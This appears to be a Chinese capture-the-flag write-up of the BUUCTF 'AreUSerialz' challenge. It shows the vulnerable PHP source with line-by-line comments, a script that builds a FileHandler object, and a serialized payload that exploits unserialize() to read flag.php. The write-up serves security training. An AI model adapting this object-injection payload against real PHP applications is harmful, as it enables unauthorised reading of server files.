108,【8】 buuctf web [网鼎杯 2020 青龙组]AreUSerialz
进入靶场
<?php
// 包含 flag.php 文件,通常这个文件可能包含敏感信息,如 flag
include("flag.php");
// 高亮显示当前文件的源代码,方便查看代码结构和逻辑
highlight_file(__FILE__);
// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {
// 受保护的属性 $op,用于表示操作类型(1 表示写操作,2 表示读操作)
protected $op;
// 受保护的属性 $filename,用于存储要操作的文件名
protected $filename;
// 受保护的属性 $content,用于存储要写入文件的内容
protected $content;
// 构造函数,当创建 FileHandler 类的对象时自动调用
function __construct() {
// 初始化操作类型为 "1",表示写操作
$op = "1";
// 初始化要操作的文件名为 "/tmp/tmpfile"
$filename = "/tmp/tmpfile";
// 初始化要写入文件的内容为 "Hello World!"
$content = "Hello World!";
// 调用 process 方法处理操作
$this->process();
}
// 公共方法,用于根据操作类型执行相应的处理
public function process() {
// 如果操作类型为 "1",执行写操作
if($this->op == "1") {
$this->write();
// 如果操作类型为 "2",执行读操作并输出结果
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
// 若操作类型不是 "1" 或 "2",输出错误信息
} else {
$this->output("Bad Hacker!");
}
}
// 私有方法,用于将内容写入文件
private function write() {
// 检查文件名和内容是否都已设置
if(isset($this->filename) && isset($this->content)) {
// 检查要写入的内容长度是否超过 100 个字符
if(strlen((string)$this->content) > 100) {
// 若超过 100 个字符,输出错误信息并终止程序
$this->output("Too long!");
die();
}
// 将内容写入指定文件,并获取写入的字节数
$res = file_put_contents($this->filename, $this->content);
// 根据写入结果输出相应信息
if($res) $this->output("Successful!");
else $this->output("Failed!");
// 若文件名或内容未设置,输出错误信息
} else {
$this->output("Failed!");
}
}
// 私有方法,用于从文件中读取内容
private function read() {
// 初始化读取结果为空字符串
$res = "";
// 检查文件名是否已设置
if(isset($this->filename)) {
// 从指定文件中读取内容
$res = file_get_contents($this->filename);
}
return $res;
}
// 私有方法,用于输出结果信息
private function output($s) {
// 输出结果的提示信息
echo "[Result]: <br>";
// 输出具体的结果内容
echo $s;
}
// 析构函数,当对象被销毁时自动调用
function __destruct() {
// 如果操作类型严格等于 "2",将操作类型改为 "1"
if($this->op === "2")
$this->op = "1";
// 将内容清空
$this->content = "";
// 再次调用 process 方法处理操作
$this->process();
}
}
// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {
// 遍历字符串中的每个字符
for($i = 0; $i < strlen($s); $i++)
// 检查字符的 ASCII 码是否在有效范围内
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 检查是否通过 GET 请求传递了名为 'str' 的参数
if(isset($_GET{'str'})) {
// 将获取到的参数转换为字符串
$str = (string)$_GET['str'];
// 检查字符串是否通过验证
if(is_valid($str)) {
// 若通过验证,对字符串进行反序列化操作
$obj = unserialize($str);
}
}
程序会根据 $op
属性的值决定执行写操作还是读操作,同时对写入内容的长度进行了限制
提供了一个验证函数 is_valid
用于检查输入字符串的合法性
允许通过 GET 请求传递一个序列化的对象进行反序列化操作
<?php
class FileHandler {
public $op=2;
public $filename="./flag.php";
public $content;
}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>
php在线运行,在线工具,在线编译IDE_w3cschool
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}